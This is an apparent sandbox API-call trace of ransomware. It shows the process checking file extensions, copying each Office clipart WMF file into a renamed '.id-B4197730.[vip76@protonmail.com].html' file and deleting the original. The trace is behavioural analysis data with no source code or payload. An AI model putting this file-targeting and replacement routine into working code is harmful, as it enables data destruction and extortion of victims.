	[0195.416] lstrlenW (lpString=".ppt") returned 4
	[0195.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.416] lstrlenW (lpString=".zip") returned 4
	[0195.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.416] lstrlenW (lpString=".rar") returned 4
	[0195.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.416] lstrlenW (lpString=".bz2") returned 4
	[0195.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.416] lstrlenW (lpString=".7z") returned 3
	[0195.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.416] lstrlenW (lpString=".dbf") returned 4
	[0195.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.416] lstrlenW (lpString=".1cd") returned 4
	[0195.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.417] lstrlenW (lpString=".jpg") returned 4
	[0195.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.417] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.417] lstrlenW (lpString="J0107146.WMF") returned 12
	[0195.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0195.469] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=14996) returned 1
	[0195.469] CloseHandle (hObject=0x5bc) returned 1
	[0195.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 0x220
	[0195.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0195.628] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.628] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0195.630] GetLastError () returned 0x0
	[0195.630] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x3a94, lpOverlapped=0x0) returned 1
	[0195.633] WriteFile (in: hFile=0x5e4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x3aa0, lpOverlapped=0x0) returned 1
	[0195.635] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.635] WriteFile (in: hFile=0x5e4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.635] SetEndOfFile (hFile=0x5e4) returned 1
	[0195.635] CloseHandle (hObject=0x5e4) returned 1
	[0195.635] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.635] SetEndOfFile (hFile=0x5e8) returned 1
	[0195.639] CloseHandle (hObject=0x5e8) returned 1
	[0195.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1
	[0195.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.642] lstrlenW (lpString=".doc") returned 4
	[0195.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.642] lstrlenW (lpString=".docx") returned 5
	[0195.642] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0195.642] lstrlenW (lpString=".pdf") returned 4
	[0195.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.642] lstrlenW (lpString=".xls") returned 4
	[0195.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.642] lstrlenW (lpString=".xlsx") returned 5
	[0195.642] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0195.642] lstrlenW (lpString=".ppt") returned 4
	[0195.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.642] lstrlenW (lpString=".zip") returned 4
	[0195.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.642] lstrlenW (lpString=".rar") returned 4
	[0195.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.642] lstrlenW (lpString=".bz2") returned 4
	[0195.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.642] lstrlenW (lpString=".7z") returned 3
	[0195.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.642] lstrlenW (lpString=".dbf") returned 4
	[0195.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.642] lstrlenW (lpString=".1cd") returned 4
	[0195.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.643] lstrlenW (lpString=".jpg") returned 4
	[0195.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.643] lstrlenW (lpString=".doc") returned 4
	[0195.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.643] lstrlenW (lpString=".docx") returned 5
	[0195.643] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0195.643] lstrlenW (lpString=".pdf") returned 4
	[0195.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.643] lstrlenW (lpString=".xls") returned 4
	[0195.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.643] lstrlenW (lpString=".xlsx") returned 5
	[0195.643] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0195.643] lstrlenW (lpString=".ppt") returned 4
	[0195.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.643] lstrlenW (lpString=".zip") returned 4
	[0195.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.643] lstrlenW (lpString=".rar") returned 4
	[0195.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.643] lstrlenW (lpString=".bz2") returned 4
	[0195.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.644] lstrlenW (lpString=".7z") returned 3
	[0195.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.644] lstrlenW (lpString=".dbf") returned 4
	[0195.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.644] lstrlenW (lpString=".1cd") returned 4
	[0195.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0195.644] lstrlenW (lpString=".jpg") returned 4
	[0195.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.644] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.644] lstrlenW (lpString="J0107158.WMF") returned 12
	[0195.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0195.645] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=24908) returned 1
	[0195.645] CloseHandle (hObject=0x5e8) returned 1
	[0195.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 0x220
	[0195.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0195.646] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.646] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0195.648] GetLastError () returned 0x0
	[0195.648] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x614c, lpOverlapped=0x0) returned 1
	[0195.650] WriteFile (in: hFile=0x5e4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x6150, lpOverlapped=0x0) returned 1
	[0195.652] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.652] WriteFile (in: hFile=0x5e4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.652] SetEndOfFile (hFile=0x5e4) returned 1
	[0195.652] CloseHandle (hObject=0x5e4) returned 1
	[0195.652] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.652] SetEndOfFile (hFile=0x5e8) returned 1
	[0195.655] CloseHandle (hObject=0x5e8) returned 1
	[0195.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1
	[0195.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.657] lstrlenW (lpString=".doc") returned 4
	[0195.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.657] lstrlenW (lpString=".docx") returned 5
	[0195.657] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0195.657] lstrlenW (lpString=".pdf") returned 4
	[0195.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.657] lstrlenW (lpString=".xls") returned 4
	[0195.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.657] lstrlenW (lpString=".xlsx") returned 5
	[0195.657] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0195.657] lstrlenW (lpString=".ppt") returned 4
	[0195.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.657] lstrlenW (lpString=".zip") returned 4
	[0195.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.657] lstrlenW (lpString=".rar") returned 4
	[0195.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.657] lstrlenW (lpString=".bz2") returned 4
	[0195.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.657] lstrlenW (lpString=".7z") returned 3
	[0195.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.657] lstrlenW (lpString=".dbf") returned 4
	[0195.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.658] lstrlenW (lpString=".1cd") returned 4
	[0195.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.658] lstrlenW (lpString=".jpg") returned 4
	[0195.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.658] lstrlenW (lpString=".doc") returned 4
	[0195.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.658] lstrlenW (lpString=".docx") returned 5
	[0195.658] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0195.658] lstrlenW (lpString=".pdf") returned 4
	[0195.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.658] lstrlenW (lpString=".xls") returned 4
	[0195.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.658] lstrlenW (lpString=".xlsx") returned 5
	[0195.658] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0195.658] lstrlenW (lpString=".ppt") returned 4
	[0195.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.658] lstrlenW (lpString=".zip") returned 4
	[0195.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.658] lstrlenW (lpString=".rar") returned 4
	[0195.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.658] lstrlenW (lpString=".bz2") returned 4
	[0195.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.658] lstrlenW (lpString=".7z") returned 3
	[0195.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.658] lstrlenW (lpString=".dbf") returned 4
	[0195.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.658] lstrlenW (lpString=".1cd") returned 4
	[0195.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0195.659] lstrlenW (lpString=".jpg") returned 4
	[0195.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.659] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.659] lstrlenW (lpString="J0107182.WMF") returned 12
	[0195.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0195.660] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=16100) returned 1
	[0195.660] CloseHandle (hObject=0x5e8) returned 1
	[0195.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 0x220
	[0195.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0195.660] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.660] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0195.661] GetLastError () returned 0x0
	[0195.661] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x3ee4, lpOverlapped=0x0) returned 1
	[0195.814] WriteFile (in: hFile=0x5e4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x3ef0, lpOverlapped=0x0) returned 1
	[0195.815] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.815] WriteFile (in: hFile=0x5e4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.815] SetEndOfFile (hFile=0x5e4) returned 1
	[0195.815] CloseHandle (hObject=0x5e4) returned 1
	[0195.815] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.816] SetEndOfFile (hFile=0x5e8) returned 1
	[0195.818] CloseHandle (hObject=0x5e8) returned 1
	[0195.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 1
	[0196.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.781] lstrlenW (lpString=".doc") returned 4
	[0196.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0196.781] lstrlenW (lpString=".docx") returned 5
	[0196.781] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0196.781] lstrlenW (lpString=".pdf") returned 4
	[0196.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0196.781] lstrlenW (lpString=".xls") returned 4
	[0196.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0196.781] lstrlenW (lpString=".xlsx") returned 5
	[0196.782] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0196.782] lstrlenW (lpString=".ppt") returned 4
	[0196.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0196.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.782] lstrlenW (lpString=".zip") returned 4
	[0196.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0196.782] lstrlenW (lpString=".rar") returned 4
	[0196.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0196.782] lstrlenW (lpString=".bz2") returned 4
	[0196.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0196.782] lstrlenW (lpString=".7z") returned 3
	[0196.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0196.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.782] lstrlenW (lpString=".dbf") returned 4
	[0196.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0196.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.782] lstrlenW (lpString=".1cd") returned 4
	[0196.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0196.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.782] lstrlenW (lpString=".jpg") returned 4
	[0196.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0196.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.782] lstrlenW (lpString=".doc") returned 4
	[0196.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0196.782] lstrlenW (lpString=".docx") returned 5
	[0196.782] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0196.782] lstrlenW (lpString=".pdf") returned 4
	[0196.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0196.782] lstrlenW (lpString=".xls") returned 4
	[0196.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0196.782] lstrlenW (lpString=".xlsx") returned 5
	[0196.782] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0196.783] lstrlenW (lpString=".ppt") returned 4
